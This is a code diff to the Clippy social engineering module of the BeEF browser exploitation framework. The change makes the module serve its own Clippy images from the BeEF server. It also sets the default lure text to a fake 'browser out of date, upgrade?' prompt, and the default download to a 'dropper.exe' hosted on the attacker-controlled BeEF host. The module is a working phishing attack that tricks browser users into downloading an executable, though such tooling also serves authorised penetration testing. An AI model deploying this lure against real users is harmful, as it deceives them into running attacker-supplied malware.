diff --git a/modules/social_engineering/clippy/assets/README.txt b/modules/social_engineering/clippy/assets/README.txt new file mode 100644 index 000000000..9fe306ab3 --- /dev/null +++ b/modules/social_engineering/clippy/assets/README.txt @@ -0,0 +1,2 @@ +heretic-clippy is copyright (c) 2013 sprky0 +Homepage: https://github.com/sprky0/heretic-clippy diff --git a/modules/social_engineering/clippy/assets/clippy-main.png b/modules/social_engineering/clippy/assets/clippy-main.png new file mode 100644 index 000000000..89327c614 Binary files /dev/null and b/modules/social_engineering/clippy/assets/clippy-main.png differ diff --git a/modules/social_engineering/clippy/assets/clippy-speech-bottom.png b/modules/social_engineering/clippy/assets/clippy-speech-bottom.png new file mode 100644 index 000000000..3c66949fb Binary files /dev/null and b/modules/social_engineering/clippy/assets/clippy-speech-bottom.png differ diff --git a/modules/social_engineering/clippy/assets/clippy-speech-mid.png b/modules/social_engineering/clippy/assets/clippy-speech-mid.png new file mode 100644 index 000000000..bde639834 Binary files /dev/null and b/modules/social_engineering/clippy/assets/clippy-speech-mid.png differ diff --git a/modules/social_engineering/clippy/assets/clippy-speech-top.png b/modules/social_engineering/clippy/assets/clippy-speech-top.png new file mode 100644 index 000000000..b1192cf09 Binary files /dev/null and b/modules/social_engineering/clippy/assets/clippy-speech-top.png differ diff --git a/modules/social_engineering/clippy/config.yaml b/modules/social_engineering/clippy/config.yaml index d4e74506d..2c2dc8bd5 100755 --- a/modules/social_engineering/clippy/config.yaml +++ b/modules/social_engineering/clippy/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: "Social Engineering" name: "Clippy" - description: "Brings up a clippy image and asks the user to do stuff." + description: "Brings up a clippy image and asks the user to do stuff. Users who accept are prompted to download an executable.

You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt." authors: ["vt [nick.freeman@security-assessment.com]", "denden [denis.andzakovic@security-assessment.com]"] target: user_notify: ['ALL'] diff --git a/modules/social_engineering/clippy/module.rb b/modules/social_engineering/clippy/module.rb index 5cc650861..2476530cc 100755 --- a/modules/social_engineering/clippy/module.rb +++ b/modules/social_engineering/clippy/module.rb @@ -4,12 +4,25 @@ # See the file 'doc/COPYING' for copying permission # class Clippy < BeEF::Core::Command + + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-bottom.png','/clippy/clippy-speech-bottom','png') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-mid.png','/clippy/clippy-speech-mid','png') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-top.png','/clippy/clippy-speech-top','png') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-main.png','/clippy/clippy-main','png') + end def self.options + @configuration = BeEF::Core::Configuration.instance + proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http" + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port") + base_host = "#{proto}://#{beef_host}:#{beef_port}" + return [ - {'name' =>'clippydir', 'description' =>'Webdir containing clippy image', 'ui_label'=>'Clippy image', 'value' => 'http://clippy.ajbnet.com/1.0.0/'}, + {'name' =>'clippydir', 'description' =>'Webdir containing clippy images', 'ui_label'=>'Clippy image directory', 'value' => "#{base_host}/clippy/"}, {'name' =>'askusertext', 'description' =>'Text for speech bubble', 'ui_label'=>'Custom text', 'value' => 'Your browser appears to be out of date. Would you like to upgrade it?'}, - {'name' =>'executeyes', 'description' =>'Executable to download', 'ui_label'=>'Executable', 'value' => 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'}, + {'name' =>'executeyes', 'description' =>'Executable to download', 'ui_label'=>'Executable', 'value' => "#{base_host}/dropper.exe"}, {'name' =>'respawntime', 'description' =>'', 'ui_label'=>'Time until Clippy shows his face again', 'value' => '5000'}, {'name' =>'thankyoumessage', 'description' =>'Thankyou message after downloading', 'ui_label'=>'Thankyou message after downloading', 'value' => 'Thanks for upgrading your browser! Look forward to a safer, faster web!'} ] @@ -21,6 +34,10 @@ class Clippy < BeEF::Core::Command # def post_execute save({'answer' => @datastore['answer']}) + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-main.png') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-top.png') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-mid.png') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-bottom.png') end end